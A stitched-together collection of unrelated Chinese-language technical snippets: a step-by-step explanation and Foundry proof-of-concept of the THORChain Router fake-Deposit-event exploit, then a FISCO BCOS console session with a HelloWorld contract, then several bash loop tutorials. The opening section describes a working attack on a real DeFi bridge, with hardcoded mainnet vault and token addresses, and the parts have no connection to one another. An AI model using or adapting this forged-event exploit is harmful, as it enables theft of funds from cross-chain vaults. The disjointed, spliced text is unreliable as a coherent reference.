1. step1 攻击者创建攻击合约A，等待后面的重入时机。

2. step2 攻击者调用 THORChain 的 Router 合约的 returnVaultAssets(address router, address payable asgard, Coin[] memory coins, string memory memo)。第一个参数传入攻击合约A的地址。

3. step3 Route转账ETH，调用攻击合约A的 fallback 方法。

4. step4 攻击合约A的 fallback，emit一个 Deposit 事件，Memo随便写，只要写的不符合规范就行。

5. step5 THORChain 验证节点，监听到 Deposit 事件，就认为有用户存钱了，但是解析Memo字段失败，就从金库中给用户退款。（其实用户没转钱，只是伪造了一个 Deposit 事件。 ）

攻击合约只有一个函数 fallback，被动等待Router的returnVaultAssets调用。
fallback执行后，也不会立刻成功，可能是几个区块后，验证者节点解析了 Deposit事件失败，决定退款，攻击者才会得到Vault的转账。

于是最终的结果需要验证节点来驱动。所以，这个POC写完了也无法验证结果。

contract ContractTest is Test{

    event Deposit(address indexed to, address indexed asset, uint amount, string memo);

    function setUp() public {
        vm.createSelectFork('mainnet', 12878653 - 1);
    }

    fallback() external payable {
        address vaultAddress = address(0xf56cba49337a624e94042e325ad6bc864436e370);
        address XRUNEAddress = address(0x69fa0fee221ad11012bab0fdb45d444d3d2ce71c);
        uint safeAmount = 20_867_082_192_584_947_929_101_400;
        string memory memo = "10% VAR bounty would have prevented this";
        emit Deposit(vaultAddress, XRUNEAddress, safeAmount, memo);
    }

}

# 查看当前块高
[group:1]> getBlockNumber
1

# 调用get接口获取name变量 此处的合约地址是deploy指令返回的地址
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
    "Hello,World!"
]
---------------------------------------------------------------------------------------------

# 查看当前块高，块高不变，因为get接口不更改账本状态
[group:1]> getBlockNumber
1

# 调用set设置name
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 set "Hello, FISCO BCOS"
transaction hash: 0x7e742c44091e0d6e4e1df666d957d123116622ab90b718699ce50f54ed791f6e
---------------------------------------------------------------------------------------------
transaction status: 0x0
description: transaction executed successfully
---------------------------------------------------------------------------------------------
Output
Receipt message: Success
Return message: Success
---------------------------------------------------------------------------------------------
Event logs
Event: {}

# 再次查看当前块高，块高增加表示已出块，账本状态已更改
[group:1]> getBlockNumber
2

# 调用get接口获取name变量，检查设置是否生效
[group:1]> call HelloWorld 0xb3c223fc0bf6646959f254ac4e4a7e355b50a344 get
---------------------------------------------------------------------------------------------
Return code: 0
description: transaction executed successfully
Return message: Success
---------------------------------------------------------------------------------------------
Return values:
[
    "Hello,FISCO BCOS"
]
---------------------------------------------------------------------------------------------

# 退出控制台
[group:1]> quit

until command
do
   Statement(s) to be executed until command is true
done

#!/bin/bash
a=0
until [ ! $a -lt 5 ]
do
   echo $a
   a=`expr $a + 1`
done

#!/bin/bash
while :
do
    echo -n "Input a number between 1 to 5: "
    read aNum
    case $aNum in
        1|2|3|4|5) echo "Your number is $aNum!"
        ;;
        *) echo "You do not select a number between 1 to 5, game is over!"
            break
        ;;
    esac
done

#!/bin/bash
for var1 in 1 2 3
do
   for var2 in 0 5
   do
      if [ $var1 -eq 2 -a $var2 -eq 0 ]
      then
         break 2
      else
         echo "$var1 $var2"
      fi
   done
done

#!/bin/bash
while :
do
    echo -n "Input a number between 1 to 5: "
    read aNum
    case $aNum in
        1|2|3|4|5) echo "Your number is $aNum!"
        ;;
        *) echo "You do not select a number between 1 to 5!"
            continue
            echo "Game is over!"
        ;;
    esac
done